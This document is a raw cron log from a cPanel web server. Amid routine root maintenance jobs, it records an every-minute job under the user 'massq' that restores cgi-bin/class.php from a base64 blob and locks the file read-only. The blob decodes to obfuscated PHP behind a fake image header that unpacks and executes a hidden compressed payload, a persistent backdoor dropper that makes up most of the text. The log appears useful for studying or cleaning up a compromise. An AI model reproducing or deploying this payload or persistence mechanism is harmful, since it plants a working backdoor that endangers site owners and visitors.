Sep  2 17:20:01 server CROND[8863]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:20:01 server CROND[8864]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 17:20:01 server CROND[8865]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:20:01 server CROND[8866]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 17:20:01 server CROND[8860]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 17:20:01 server CROND[8862]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 17:21:01 server CROND[9759]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:21:01 server CROND[9760]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:21:01 server CROND[9761]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 17:22:01 server CROND[10140]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:22:01 server CROND[10141]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:22:01 server CROND[10142]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 17:23:01 server CROND[10521]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:23:01 server CROND[10522]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:23:01 server CROND[10523]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 17:24:01 server CROND[10885]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:24:01 server CROND[10886]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 17:24:01 server CROND[10887]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:25:01 server CROND[11318]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 17:25:01 server CROND[11322]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 17:25:01 server CROND[11321]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 17:25:01 server CROND[11324]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:25:01 server CROND[11320]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 17:25:01 server CROND[11332]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 17:25:01 server CROND[11331]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:26:01 server CROND[12201]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:26:01 server CROND[12202]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:26:01 server CROND[12203]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 17:27:01 server CROND[12621]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:27:01 server CROND[12622]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 17:27:01 server CROND[12620]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:27:01 server CROND[12623]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 17:28:01 server CROND[13000]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:28:01 server CROND[13001]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 17:28:01 server CROND[13002]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:29:01 server CROND[13367]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:29:01 server CROND[13368]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:29:01 server CROND[13369]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 17:30:01 server CROND[13801]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 17:30:01 server CROND[13802]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 17:30:01 server CROND[13806]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 17:30:01 server CROND[13808]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:30:01 server CROND[13810]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 17:30:01 server CROND[13811]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 17:30:01 server CROND[13807]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 17:30:01 server CROND[13812]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:31:01 server CROND[14785]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:31:01 server CROND[14786]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 17:31:01 server CROND[14787]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
